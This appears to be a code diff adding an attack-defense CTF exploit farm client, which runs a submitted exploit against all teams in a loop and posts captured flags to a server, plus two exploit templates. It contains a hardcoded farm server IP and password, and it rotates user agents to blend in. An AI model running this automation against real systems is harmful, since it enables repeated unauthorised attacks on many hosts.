██╔════╝██║ ██║╚══██╔══╝ ██╔══██╗██║ ██║╚══██╔══╝ ██╔════╝██║ ██║██╔══██╗
|
||||||
|
██║ ███████║ ██║ ██████╔╝██║ ██║ ██║ ███████╗███████║██║ ██║
|
||||||
|
██║ ╚════██║ ██║ ██╔══██╗██║ ██║ ██║ ╚════██║╚════██║██║ ██║
|
||||||
|
╚██████╗ ██║ ██║ ██████╔╝╚██████╔╝ ██║ ███████║ ██║██████╔╝
|
||||||
|
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═╝╚═════╝
|
||||||
|
'''[1:]
|
||||||
|
|
||||||
|
|
||||||
|
class Style(Enum):
|
||||||
|
"""
|
||||||
|
Bash escape sequences, see:
|
||||||
|
https://misc.flogisoft.com/bash/tip_colors_and_formatting
|
||||||
|
"""
|
||||||
|
|
||||||
|
BOLD = 1
|
||||||
|
|
||||||
|
FG_BLACK = 30
|
||||||
|
FG_RED = 31
|
||||||
|
FG_GREEN = 32
|
||||||
|
FG_YELLOW = 33
|
||||||
|
FG_BLUE = 34
|
||||||
|
FG_MAGENTA = 35
|
||||||
|
FG_CYAN = 36
|
||||||
|
FG_LIGHT_GRAY = 37
|
||||||
|
|
||||||
|
|
||||||
|
BRIGHT_COLORS = [Style.FG_RED, Style.FG_GREEN, Style.FG_BLUE,
|
||||||
|
Style.FG_MAGENTA, Style.FG_CYAN]
|
||||||
|
|
||||||
|
VERBOSE_LINES = 5
|
||||||
|
|
||||||
|
|
||||||
|
def highlight(text, style=None):
|
||||||
|
if os_windows:
|
||||||
|
return text
|
||||||
|
|
||||||
|
if style is None:
|
||||||
|
style = [Style.BOLD, random.choice(BRIGHT_COLORS)]
|
||||||
|
return '\033[{}m'.format(';'.join(str(item.value) for item in style)) + text + '\033[0m'
|
||||||
|
|
||||||
|
|
||||||
|
log_format = '%(asctime)s {} %(message)s'.format(highlight('%(levelname)s', [Style.FG_YELLOW]))
|
||||||
|
logging.basicConfig(format=log_format, datefmt='%H:%M:%S', level=logging.DEBUG)
|
||||||
|
|
||||||
|
|
||||||
|
def parse_args():
|
||||||
|
parser = argparse.ArgumentParser(description='Run a sploit on all teams in a loop',
|
||||||
|
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
|
||||||
|
|
||||||
|
parser.add_argument('sploit',
|
||||||
|
help="Sploit executable (should take a victim's host as the first argument)")
|
||||||
|
parser.add_argument('--server-url', metavar='URL', default='http://158.160.177.126:5137/',
|
||||||
|
help='Server URL')
|
||||||
|
parser.add_argument('--server-pass', metavar='PASS', default='ebatmftiidtl74231342',
|
||||||
|
help='Server password')
|
||||||
|
parser.add_argument('--interpreter', metavar='COMMAND',
|
||||||
|
help='Explicitly specify sploit interpreter (use on Windows, which doesn\'t '
|
||||||
|
'understand shebangs)')
|
||||||
|
|
||||||
|
parser.add_argument('--pool-size', metavar='N', type=int, default=50,
|
||||||
|
help='Maximal number of concurrent sploit instances. '
|
||||||
|
'Too little value will make time limits for sploits smaller, '
|
||||||
|
'too big will eat all RAM on your computer')
|
||||||
|
parser.add_argument('--attack-period', metavar='N', type=float, default=55,
|
||||||
|
help='Rerun the sploit on all teams each N seconds '
|
||||||
|
'Too little value will make time limits for sploits smaller, '
|
||||||
|
'too big will miss flags from some rounds')
|
||||||
|
|
||||||
|
parser.add_argument('-v', '--verbose-attacks', metavar='N', type=int, default=1,
|
||||||
|
help="Sploits' outputs and found flags will be shown for the N first attacks")
|
||||||
|
|
||||||
|
parser.add_argument('-e', '--endless', default=False, action='store_true',
|
||||||
|
help="Run sploits without timeouts")
|
||||||
|
|
||||||
|
group = parser.add_mutually_exclusive_group()
|
||||||
|
group.add_argument('--not-per-team', action='store_true',
|
||||||
|
help='Run a single instance of the sploit instead of an instance per team')
|
||||||
|
group.add_argument('--distribute', metavar='K/N',
|
||||||
|
help='Divide the team list to N parts (by address hash modulo N) '
|
||||||
|
'and run the sploits only on Kth part of it (K >= 1)')
|
||||||
|
|
||||||
|
return parser.parse_args()
|
||||||
|
|
||||||
|
|
||||||
|
def fix_args(args):
|
||||||
|
check_sploit(args)
|
||||||
|
|
||||||
|
if '://' not in args.server_url:
|
||||||
|
args.server_url = 'http://' + args.server_url
|
||||||
|
|
||||||
|
if args.distribute is not None:
|
||||||
|
valid = False
|
||||||
|
match = re.fullmatch(r'(\d+)/(\d+)', str(args.distribute))
|
||||||
|
if match is not None:
|
||||||
|
k, n = (int(match.group(1)), int(match.group(2)))
|
||||||
|
if n >= 2 and 1 <= k <= n:
|
||||||
|
args.distribute = k, n
|
||||||
|
valid = True
|
||||||
|
|
||||||
|
if not valid:
|
||||||
|
raise ValueError('Wrong syntax for --distribute, use --distribute K/N (N >= 2, 1 <= K <= N)')
|
||||||
|
|
||||||
|
|
||||||
|
SCRIPT_EXTENSIONS = {
|
||||||
|
'.pl': 'perl',
|
||||||
|
'.py': 'python',
|
||||||
|
'.rb': 'ruby',
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def check_script_source(source):
|
||||||
|
errors = []
|
||||||
|
if not os_windows and source[:2] != '#!':
|
||||||
|
errors.append(
|
||||||
|
'Please use shebang (e.g. {}) as the first line of your script'.format(
|
||||||
|
highlight('#!/usr/bin/env python3', [Style.FG_GREEN])))
|
||||||
|
if re.search(r'flush[(=]', source) is None:
|
||||||
|
errors.append(
|
||||||
|
'Please print the newline and call {} each time after your sploit outputs flags. '
|
||||||
|
'In Python 3, you can use {}. '
|
||||||
|
'Otherwise, the flags may be lost (if the sploit process is killed) or '
|
||||||
|
'sent with a delay.'.format(
|
||||||
|
highlight('flush()', [Style.FG_RED]),
|
||||||
|
highlight('print(..., flush=True)', [Style.FG_GREEN])))
|
||||||
|
return errors
|
||||||
|
|
||||||
|
|
||||||
|
class InvalidSploitError(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def check_sploit(args):
|
||||||
|
path = args.sploit
|
||||||
|
if not os.path.isfile(path):
|
||||||
|
raise ValueError('No such file: {}'.format(path))
|
||||||
|
|
||||||
|
extension = os.path.splitext(path)[1].lower()
|
||||||
|
is_script = extension in SCRIPT_EXTENSIONS
|
||||||
|
if is_script:
|
||||||
|
with open(path, 'r', errors='ignore') as f:
|
||||||
|
source = f.read()
|
||||||
|
errors = check_script_source(source)
|
||||||
|
|
||||||
|
if errors:
|
||||||
|
for message in errors:
|
||||||
|
logging.error(message)
|
||||||
|
raise InvalidSploitError('Sploit won\'t be run because of validation errors')
|
||||||
|
|
||||||
|
if os_windows and args.interpreter is None:
|
||||||
|
args.interpreter = SCRIPT_EXTENSIONS[extension]
|
||||||
|
logging.info('Using interpreter `{}`'.format(args.interpreter))
|
||||||
|
|
||||||
|
if not os_windows:
|
||||||
|
file_mode = os.stat(path).st_mode
|
||||||
|
# TODO: May be check the owner and other X flags properly?
|
||||||
|
if not file_mode & stat.S_IXUSR:
|
||||||
|
if is_script:
|
||||||
|
logging.info('Setting the executable bit on `{}`'.format(path))
|
||||||
|
os.chmod(path, file_mode | stat.S_IXUSR)
|
||||||
|
else:
|
||||||
|
raise InvalidSploitError("The provided file doesn't appear to be executable")
|
||||||
|
|
||||||
|
|
||||||
|
if os_windows:
|
||||||
|
# By default, Ctrl+C does not work on Windows if we spawn subprocesses.
|
||||||
|
# Here we fix that using WinApi. See https://stackoverflow.com/a/43095532
|
||||||
|
|
||||||
|
import signal
|
||||||
|
import ctypes
|
||||||
|
from ctypes import wintypes
|
||||||
|
|
||||||
|
kernel32 = ctypes.WinDLL("kernel32", use_last_error=True)
|
||||||
|
|
||||||
|
# BOOL WINAPI HandlerRoutine(
|
||||||
|
# _In_ DWORD dwCtrlType
|
||||||
|
# );
|
||||||
|
PHANDLER_ROUTINE = ctypes.WINFUNCTYPE(wintypes.BOOL, wintypes.DWORD)
|
||||||
|
|
||||||
|
win_ignore_ctrl_c = PHANDLER_ROUTINE() # = NULL
|
||||||
|
|
||||||
|
|
||||||
|
def _errcheck_bool(result, _, args):
|
||||||
|
if not result:
|
||||||
|
raise ctypes.WinError(ctypes.get_last_error())
|
||||||
|
return args
|
||||||
|
|
||||||
|
|
||||||
|
# BOOL WINAPI SetConsoleCtrlHandler(
|
||||||
|
# _In_opt_ PHANDLER_ROUTINE HandlerRoutine,
|
||||||
|
# _In_ BOOL Add
|
||||||
|
# );
|
||||||
|
kernel32.SetConsoleCtrlHandler.errcheck = _errcheck_bool
|
||||||
|
kernel32.SetConsoleCtrlHandler.argtypes = (PHANDLER_ROUTINE, wintypes.BOOL)
|
||||||
|
|
||||||
|
|
||||||
|
@PHANDLER_ROUTINE
|
||||||
|
def win_ctrl_handler(dwCtrlType):
|
||||||
|
if dwCtrlType == signal.CTRL_C_EVENT:
|
||||||
|
kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, True)
|
||||||
|
shutdown()
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
kernel32.SetConsoleCtrlHandler(win_ctrl_handler, True)
|
||||||
|
|
||||||
|
|
||||||
|
class APIException(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
SERVER_TIMEOUT = 5
|
||||||
|
|
||||||
|
|
||||||
|
def get_auth_headers(args):
|
||||||
|
return {'Authorization': args.server_pass}
|
||||||
|
|
||||||
|
|
||||||
|
def get_config(args):
|
||||||
|
url = urljoin(args.server_url, '/api/get_config')
|
||||||
|
headers = get_auth_headers(args)
|
||||||
|
|
||||||
|
r = requests.get(url, headers=headers, timeout=SERVER_TIMEOUT)
|
||||||
|
if not r.ok:
|
||||||
|
raise APIException(r.text)
|
||||||
|
|
||||||
|
return r.json()
|
||||||
|
|
||||||
|
|
||||||
|
def post_flags(args, flags):
|
||||||
|
sploit_name = os.path.basename(args.sploit)
|
||||||
|
data = [
|
||||||
|
{
|
||||||
|
'flag': item['flag'],
|
||||||
|
'sploit': sploit_name,
|
||||||
|
'team': item['team']
|
||||||
|
} for item in flags
|
||||||
|
]
|
||||||
|
|
||||||
|
url = urljoin(args.server_url, '/api/post_flags')
|
||||||
|
headers = get_auth_headers(args)
|
||||||
|
r = requests.post(url, headers=headers, json=data, timeout=SERVER_TIMEOUT)
|
||||||
|
if not r.ok:
|
||||||
|
raise APIException(r.text)
|
||||||
|
|
||||||
|
|
||||||
|
exit_event = threading.Event()
|
||||||
|
|
||||||
|
|
||||||
|
def once_in_a_period(period):
|
||||||
|
for iter_no in itertools.count(1):
|
||||||
|
start_time = time.time()
|
||||||
|
yield iter_no
|
||||||
|
|
||||||
|
time_spent = time.time() - start_time
|
||||||
|
if period > time_spent:
|
||||||
|
exit_event.wait(period - time_spent)
|
||||||
|
if exit_event.is_set():
|
||||||
|
break
|
||||||
|
|
||||||
|
|
||||||
|
class FlagStorage:
|
||||||
|
"""
|
||||||
|
Thread-safe storage comprised of a set and a post queue.
|
||||||
|
|
||||||
|
Any number of threads may call add(), but only one "consumer thread"
|
||||||
|
may call pick_flags() and mark_as_sent().
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._flags_seen = set()
|
||||||
|
self._queue = []
|
||||||
|
self._lock = threading.RLock()
|
||||||
|
|
||||||
|
def add(self, flags, team_name):
|
||||||
|
with self._lock:
|
||||||
|
for item in flags:
|
||||||
|
if item not in self._flags_seen:
|
||||||
|
self._flags_seen.add(item)
|
||||||
|
self._queue.append({'flag': item, 'team': team_name})
|
||||||
|
|
||||||
|
def pick_flags(self, count):
|
||||||
|
with self._lock:
|
||||||
|
return self._queue[:count]
|
||||||
|
|
||||||
|
def mark_as_sent(self, count):
|
||||||
|
with self._lock:
|
||||||
|
self._queue = self._queue[count:]
|
||||||
|
|
||||||
|
@property
|
||||||
|
def queue_size(self):
|
||||||
|
with self._lock:
|
||||||
|
return len(self._queue)
|
||||||
|
|
||||||
|
|
||||||
|
flag_storage = FlagStorage()
|
||||||
|
|
||||||
|
POST_PERIOD = 5
|
||||||
|
POST_FLAG_LIMIT = 10000
|
||||||
|
|
||||||
|
|
||||||
|
# TODO: test that 10k flags won't lead to the hangup of the farm server
|
||||||
|
|
||||||
|
|
||||||
|
def run_post_loop(args):
|
||||||
|
try:
|
||||||
|
for _ in once_in_a_period(POST_PERIOD):
|
||||||
|
flags_to_post = flag_storage.pick_flags(POST_FLAG_LIMIT)
|
||||||
|
|
||||||
|
if flags_to_post:
|
||||||
|
try:
|
||||||
|
post_flags(args, flags_to_post)
|
||||||
|
|
||||||
|
flag_storage.mark_as_sent(len(flags_to_post))
|
||||||
|
logging.info('{} flags posted to the server ({} in the queue)'.format(
|
||||||
|
len(flags_to_post), flag_storage.queue_size))
|
||||||
|
except Exception as e:
|
||||||
|
logging.error("Can't post flags to the server: {}".format(repr(e)))
|
||||||
|
logging.info("The flags will be posted next time")
|
||||||
|
except Exception as e:
|
||||||
|
logging.critical('Posting loop died: {}'.format(repr(e)))
|
||||||
|
shutdown()
|
||||||
|
|
||||||
|
|
||||||
|
display_output_lock = threading.RLock()
|
||||||
|
|
||||||
|
|
||||||
|
def display_sploit_output(team_name, output_lines):
|
||||||
|
if not output_lines:
|
||||||
|
logging.info('{}: No output from the sploit'.format(team_name))
|
||||||
|
return
|
||||||
|
|
||||||
|
prefix = highlight(team_name + ': ')
|
||||||
|
with display_output_lock:
|
||||||
|
print('\n' + '\n'.join(prefix + line.rstrip() for line in output_lines) + '\n')
|
||||||
|
|
||||||
|
|
||||||
|
def process_sploit_output(stream, args, team_name, flag_format, attack_no):
|
||||||
|
try:
|
||||||
|
output_lines = []
|
||||||
|
instance_flags = set()
|
||||||
|
|
||||||
|
line_cnt = 1
|
||||||
|
|
||||||
|
while True:
|
||||||
|
line = stream.readline()
|
||||||
|
if not line:
|
||||||
|
break
|
||||||
|
|
||||||
|
line = line.decode(errors='replace')
|
||||||
|
output_lines.append(line)
|
||||||
|
|
||||||
|
line_flags = set(flag_format.findall(line))
|
||||||
|
if line_flags:
|
||||||
|
flag_storage.add(line_flags, team_name)
|
||||||
|
instance_flags |= line_flags
|
||||||
|
|
||||||
|
if args.endless and line_cnt <= args.verbose_attacks * VERBOSE_LINES:
|
||||||
|
line_cnt += 1
|
||||||
|
display_sploit_output(team_name, output_lines)
|
||||||
|
output_lines = []
|
||||||
|
if instance_flags:
|
||||||
|
logging.info('Got {} flags from "{}": {}'.format(
|
||||||
|
len(instance_flags), team_name, instance_flags))
|
||||||
|
instance_flags = set()
|
||||||
|
|
||||||
|
if attack_no <= args.verbose_attacks and not exit_event.is_set():
|
||||||
|
# We don't want to spam the terminal on KeyboardInterrupt
|
||||||
|
|
||||||
|
display_sploit_output(team_name, output_lines)
|
||||||
|
if instance_flags:
|
||||||
|
logging.info('Got {} flags from "{}": {}'.format(
|
||||||
|
len(instance_flags), team_name, instance_flags))
|
||||||
|
except Exception as e:
|
||||||
|
logging.error('Failed to process sploit output: {}'.format(repr(e)))
|
||||||
|
|
||||||
|
|
||||||
|
class InstanceStorage:
|
||||||
|
"""
|
||||||
|
Storage comprised of a dictionary of all running sploit instances and some statistics.
|
||||||
|
|
||||||
|
Always acquire instance_lock before using this class. Do not release the lock
|
||||||
|
between actual spawning/killing a process and calling register_start()/register_stop().
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
self._counter = 0
|
||||||
|
self.instances = {}
|
||||||
|
|
||||||
|
self.n_completed = 0
|
||||||
|
self.n_killed = 0
|
||||||
|
|
||||||
|
def register_start(self, process):
|
||||||
|
instance_id = self._counter
|
||||||
|
self.instances[instance_id] = process
|
||||||
|
self._counter += 1
|
||||||
|
return instance_id
|
||||||
|
|
||||||
|
def register_stop(self, instance_id, was_killed):
|
||||||
|
del self.instances[instance_id]
|
||||||
|
|
||||||
|
self.n_completed += 1
|
||||||
|
self.n_killed += was_killed
|
||||||
|
|
||||||
|
|
||||||
|
instance_storage = InstanceStorage()
|
||||||
|
instance_lock = threading.RLock()
|
||||||
|
|
||||||
|
|
||||||
|
def launch_sploit(args, team_name, team_addr, attack_no, flag_format):
|
||||||
|
# For sploits written in Python, this env variable forces the interpreter to flush
|
||||||
|
# stdout and stderr after each newline. Note that this is not default behavior
|
||||||
|
# if the sploit's output is redirected to a pipe.
|
||||||
|
env = os.environ.copy()
|
||||||
|
env['PYTHONUNBUFFERED'] = '1'
|
||||||
|
|
||||||
|
command = [os.path.abspath(args.sploit)]
|
||||||
|
if args.interpreter is not None:
|
||||||
|
command = [args.interpreter] + command
|
||||||
|
if team_addr is not None:
|
||||||
|
command.append(team_addr)
|
||||||
|
need_close_fds = (not os_windows)
|
||||||
|
|
||||||
|
if os_windows:
|
||||||
|
# On Windows, we block Ctrl+C handling, spawn the process, and
|
||||||
|
# then recover the handler. This is the only way to make Ctrl+C
|
||||||
|
# intercepted by us instead of our child processes.
|
||||||
|
kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, True)
|
||||||
|
proc = subprocess.Popen(command,
|
||||||
|
stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
|
||||||
|
bufsize=1, close_fds=need_close_fds, env=env)
|
||||||
|
if os_windows:
|
||||||
|
kernel32.SetConsoleCtrlHandler(win_ignore_ctrl_c, False)
|
||||||
|
|
||||||
|
threading.Thread(target=lambda: process_sploit_output(
|
||||||
|
proc.stdout, args, team_name, flag_format, attack_no)).start()
|
||||||
|
|
||||||
|
return proc, instance_storage.register_start(proc)
|
||||||
|
|
||||||
|
|
||||||
|
def run_sploit(args, team_name, team_addr, attack_no, max_runtime, flag_format):
|
||||||
|
try:
|
||||||
|
with instance_lock:
|
||||||
|
if exit_event.is_set():
|
||||||
|
return
|
||||||
|
|
||||||
|
proc, instance_id = launch_sploit(args, team_name, team_addr, attack_no, flag_format)
|
||||||
|
except Exception as e:
|
||||||
|
if isinstance(e, FileNotFoundError):
|
||||||
|
logging.error('Sploit file or the interpreter for it not found: {}'.format(repr(e)))
|
||||||
|
logging.error('Check presence of the sploit file and the shebang (use {} for compatibility)'.format(
|
||||||
|
highlight('#!/usr/bin/env ...', [Style.FG_GREEN])))
|
||||||
|
else:
|
||||||
|
logging.error('Failed to run sploit: {}'.format(repr(e)))
|
||||||
|
|
||||||
|
if attack_no == 1:
|
||||||
|
shutdown()
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
proc.wait(timeout=max_runtime)
|
||||||
|
need_kill = False
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
need_kill = True
|
||||||
|
if attack_no <= args.verbose_attacks:
|
||||||
|
logging.warning('Sploit for "{}" ({}) ran out of time'.format(team_name, team_addr))
|
||||||
|
|
||||||
|
with instance_lock:
|
||||||
|
if need_kill:
|
||||||
|
proc.kill()
|
||||||
|
|
||||||
|
instance_storage.register_stop(instance_id, need_kill)
|
||||||
|
except Exception as e:
|
||||||
|
logging.error('Failed to finish sploit: {}'.format(repr(e)))
|
||||||
|
|
||||||
|
|
||||||
|
def show_time_limit_info(args, config, max_runtime, attack_no):
|
||||||
|
if attack_no == 1:
|
||||||
|
min_attack_period = config['FLAG_LIFETIME'] - config['SUBMIT_PERIOD'] - POST_PERIOD
|
||||||
|
if args.attack_period >= min_attack_period:
|
||||||
|
logging.warning("--attack-period should be < {:.1f} sec, "
|
||||||
|
"otherwise the sploit will not have time "
|
||||||
|
"to catch flags for each round before their expiration".format(min_attack_period))
|
||||||
|
|
||||||
|
if max_runtime is not None:
|
||||||
|
logging.info('Time limit for a sploit instance: {:.1f} sec'.format(max_runtime))
|
||||||
|
else:
|
||||||
|
logging.info('Time limit for a sploit instance: endless')
|
||||||
|
|
||||||
|
with instance_lock:
|
||||||
|
if instance_storage.n_completed > 0:
|
||||||
|
# TODO: Maybe better for 10 last attacks
|
||||||
|
logging.info('Total {:.1f}% of instances ran out of time'.format(
|
||||||
|
float(instance_storage.n_killed) / instance_storage.n_completed * 100))
|
||||||
|
|
||||||
|
|
||||||
|
PRINTED_TEAM_NAMES = 5
|
||||||
|
|
||||||
|
|
||||||
|
def get_target_teams(args, teams, attack_no):
|
||||||
|
if args.not_per_team:
|
||||||
|
teams = {'*': '*'}
|
||||||
|
|
||||||
|
if args.distribute is not None:
|
||||||
|
k, n = args.distribute
|
||||||
|
teams = {name: addr for name, addr in teams.items()
|
||||||
|
if binascii.crc32(addr.encode()) % n == k - 1}
|
||||||
|
|
||||||
|
if teams:
|
||||||
|
if attack_no <= args.verbose_attacks:
|
||||||
|
names = sorted(teams.keys())
|
||||||
|
if len(names) > PRINTED_TEAM_NAMES:
|
||||||
|
names = names[:PRINTED_TEAM_NAMES] + ['...']
|
||||||
|
logging.info('Sploit will be run on {} teams: {}'.format(len(teams), ', '.join(names)))
|
||||||
|
else:
|
||||||
|
logging.error('There is no teams to attack for this farm client, fix "TEAMS" value '
|
||||||
|
'in your server config or the usage of --distribute')
|
||||||
|
|
||||||
|
return teams
|
||||||
|
|
||||||
|
|
||||||
|
def main(args):
|
||||||
|
try:
|
||||||
|
fix_args(args)
|
||||||
|
except (ValueError, InvalidSploitError) as e:
|
||||||
|
logging.critical(str(e))
|
||||||
|
return
|
||||||
|
|
||||||
|
print(highlight(HEADER))
|
||||||
|
logging.info('Connecting to the farm server at {}'.format(args.server_url))
|
||||||
|
|
||||||
|
threading.Thread(target=lambda: run_post_loop(args)).start()
|
||||||
|
|
||||||
|
config = flag_format = None
|
||||||
|
pool = ThreadPoolExecutor(max_workers=args.pool_size)
|
||||||
|
|
||||||
|
if args.endless:
|
||||||
|
print()
|
||||||
|
for warn in range(5):
|
||||||
|
logging.warning("Be careful! We won't restart your sploit if it fails")
|
||||||
|
print()
|
||||||
|
|
||||||
|
for attack_no in once_in_a_period(args.attack_period):
|
||||||
|
try:
|
||||||
|
config = get_config(args)
|
||||||
|
flag_format = re.compile(config['FLAG_FORMAT'])
|
||||||
|
except Exception as e:
|
||||||
|
logging.error("Can't get config from the server: {}".format(repr(e)))
|
||||||
|
if attack_no == 1:
|
||||||
|
return
|
||||||
|
logging.info('Using the old config')
|
||||||
|
teams = get_target_teams(args, config['TEAMS'], attack_no)
|
||||||
|
if not teams:
|
||||||
|
if attack_no == 1:
|
||||||
|
return
|
||||||
|
continue
|
||||||
|
|
||||||
|
max_runtime = None
|
||||||
|
|
||||||
|
if not args.endless:
|
||||||
|
max_runtime = args.attack_period / ceil(len(teams) / args.pool_size)
|
||||||
|
|
||||||
|
if not args.endless or attack_no == 1:
|
||||||
|
|
||||||
|
print()
|
||||||
|
logging.info('Launching an attack #{}'.format(attack_no))
|
||||||
|
|
||||||
|
show_time_limit_info(args, config, max_runtime, attack_no)
|
||||||
|
|
||||||
|
for team_name, team_addr in teams.items():
|
||||||
|
pool.submit(run_sploit, args, team_name, team_addr, attack_no, max_runtime, flag_format)
|
||||||
|
|
||||||
|
|
||||||
|
def shutdown():
|
||||||
|
# Stop run_post_loop thread
|
||||||
|
exit_event.set()
|
||||||
|
# Kill all child processes (so consume_sploit_output and run_sploit also will stop)
|
||||||
|
with instance_lock:
|
||||||
|
for proc in instance_storage.instances.values():
|
||||||
|
proc.kill()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
try:
|
||||||
|
main(parse_args())
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
logging.info('Got Ctrl+C, shutting down')
|
||||||
|
finally:
|
||||||
|
shutdown()
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import sys
|
||||||
|
import re
|
||||||
|
import random
|
||||||
|
import requests
|
||||||
|
|
||||||
|
USE_CUSTOM_USER_AGENT = False
|
||||||
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
USER_AGENTS = [
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target_ip):
|
||||||
|
flags = set()
|
||||||
|
|
||||||
|
headers = {}
|
||||||
|
if USE_CUSTOM_USER_AGENT:
|
||||||
|
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
# TODO: IMPLEMENT YOUR EXPLOIT LOGIC HERE
|
||||||
|
try: # example
|
||||||
|
url = f"http://{target_ip}:8080/flag"
|
||||||
|
|
||||||
|
r = requests.get(url, headers=headers, timeout=4)
|
||||||
|
r.raise_for_status()
|
||||||
|
|
||||||
|
for flag in FLAG_RX.findall(r.text):
|
||||||
|
flags.add(flag)
|
||||||
|
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] Request failed for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
|
||||||
|
return flags
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target_ip = sys.argv[1]
|
||||||
|
|
||||||
|
try:
|
||||||
|
found_flags = exploit(target_ip)
|
||||||
|
|
||||||
|
if found_flags is None:
|
||||||
|
found_flags = []
|
||||||
|
elif isinstance(found_flags, str):
|
||||||
|
found_flags = [found_flags]
|
||||||
|
|
||||||
|
for flag in found_flags:
|
||||||
|
clean_flag = str(flag).strip()
|
||||||
|
if FLAG_RX.fullmatch(clean_flag):
|
||||||
|
print(clean_flag, flush=True)
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import sys
|
||||||
|
import re
|
||||||
|
import random
|
||||||
|
import requests
|
||||||
|
|
||||||
|
USE_CUSTOM_USER_AGENT = False
|
||||||
|
ATTACK_DATA_URL = "http://N.N.N.N"
|
||||||
|
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
USER_AGENTS = [
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
|
||||||
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15",
|
||||||
|
"Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
||||||
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def get_attack_data(target_ip):
|
||||||
|
"""
|
||||||
|
Download attack data and return data for the target.
|
||||||
|
|
||||||
|
TODO:
|
||||||
|
Adapt this function to the attack data format used by the current farm.
|
||||||
|
|
||||||
|
Common examples:
|
||||||
|
|
||||||
|
{"10.10.10.5": {...}}
|
||||||
|
-> return data.get(target_ip, {})
|
||||||
|
|
||||||
|
{"service": {"10.10.10.5": {...}}}
|
||||||
|
-> return data.get("service", {}).get(target_ip, {})
|
||||||
|
|
||||||
|
{"5": {...}}
|
||||||
|
-> team_id = target_ip.split(".")[-1] # Or another way to get it
|
||||||
|
return data.get(team_id, {})
|
||||||
|
"""
|
||||||
|
|
||||||
|
headers = {}
|
||||||
|
if USE_CUSTOM_USER_AGENT:
|
||||||
|
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||||
|
|
||||||
|
try:
|
||||||
|
r = requests.get(ATTACK_DATA_URL, headers=headers, timeout=3)
|
||||||
|
r.raise_for_status()
|
||||||
|
|
||||||
|
data = r.json()
|
||||||
|
|
||||||
|
if not isinstance(data, dict):
|
||||||
|
return {}
|
||||||
|
|
||||||
|
# TODO: Replace this line according to the attack data structure.
|
||||||
|
return data.get(target_ip, {})
|
||||||
|
|
||||||
|
except requests.RequestException as e:
|
||||||
|
print(f"[-] Failed to fetch attack data: {e}", file=sys.stderr, flush=True)
|
||||||
|
return {}
|
||||||
|
except ValueError as e:
|
||||||
|
print(f"[-] Invalid JSON received: {e}", file=sys.stderr, flush=True)
|
||||||
|
return {}
|
||||||
|
|
||||||
|
|
||||||
|
def exploit(target_ip, team_data):
|
||||||
|
flags = set()
|
||||||
|
|
||||||
|
headers = {}
|
||||||
|
if USE_CUSTOM_USER_AGENT:
|
||||||
|
headers["User-Agent"] = random.choice(USER_AGENTS)
|
||||||
|
|
||||||
|
# -------------------------------------------------------------------------
|
||||||
|
# TODO: IMPLEMENT YOUR EXPLOIT LOGIC HERE
|
||||||
|
try: # example
|
||||||
|
token = team_data.get("token")
|
||||||
|
if token:
|
||||||
|
headers["X-Auth-Token"] = token
|
||||||
|
|
||||||
|
url = f"http://{target_ip}:8080/flag"
|
||||||
|
r = requests.get(url, headers=headers, timeout=4)
|
||||||
|
|
||||||
|
